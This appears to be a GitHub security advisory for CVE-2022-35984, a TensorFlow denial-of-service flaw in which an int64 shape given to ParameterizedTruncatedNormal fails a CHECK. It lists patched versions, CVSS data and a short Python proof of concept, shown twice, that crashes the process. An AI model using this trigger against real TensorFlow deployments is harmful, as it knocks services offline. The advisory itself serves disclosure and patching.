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TensorFlow vulnerable to `CHECK` fail in `ParameterizedTruncatedNormal`

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CVE-2022-35984 · Published Sep 16, 2022 · updated Jul 13, 2026

Medium5.9
Fix: upgrade to 2.7.2 or later (3 fixed versions below)
GitHub advisory

Impact

ParameterizedTruncatedNormal assumes shape is of type int32. A valid shape of type int64 results in a mismatched type CHECK fail that can be used to trigger a denial of service attack.

```python

import tensorflow as tf

seed = 1618

seed2 = 0

shape = tf.random.uniform(shape=[3], minval=-10000, maxval=10000, dtype=tf.int64, seed=4894)

means = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)

stdevs = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)

minvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)

maxvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971)

tf.raw_ops.ParameterizedTruncatedNormal(shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals, seed=seed, seed2=seed2)

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Patches

We have patched the issue in GitHub commit [72180be03447a10810edca700cbc9af690dfeb51](https://github.com/tensorflow/tensorflow/commit/72180be03447a10810edca700cbc9af690dfeb51).

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult [our security...

Affected versions

PackageAffectedFixed in
tensorflow
PyPI
< 2.7.22.7.2
>= 2.8.0, < 2.8.12.8.1
>= 2.9.0, < 2.9.12.9.1
Details and references

### Impact `ParameterizedTruncatedNormal` assumes `shape` is of type `int32`. A valid `shape` of type `int64` results in a mismatched type `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf seed = 1618 seed2 = 0 shape = tf.random.uniform(shape=[3], minval=-10000, maxval=10000, dtype=tf.int64, seed=4894) means = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971) stdevs = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971) minvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971) maxvals = tf.random.uniform(shape=[3, 3, 3], minval=-10000, maxval=10000, dtype=tf.float32, seed=-2971) tf.raw_ops.ParameterizedTruncatedNormal(shape=shape, means=means, stdevs=stdevs, minvals=minvals, maxvals=maxvals, seed=seed, seed2=seed2) ``` ### Patches We have patched the issue in GitHub commit [72180be03447a10810edca700cbc9af690dfeb51](https://github.com/tensorflow/tensorflow/commit/72180be03447a10810edca700cbc9af690dfeb51). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Di Jin, Secure Systems Labs, Brown University

CVSS 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-617
Also known as
BIT-tensorflow-2022-35984, CVE-2022-35984, PYSEC-2026-1023, PYSEC-2026-3219, PYSEC-2026-3355

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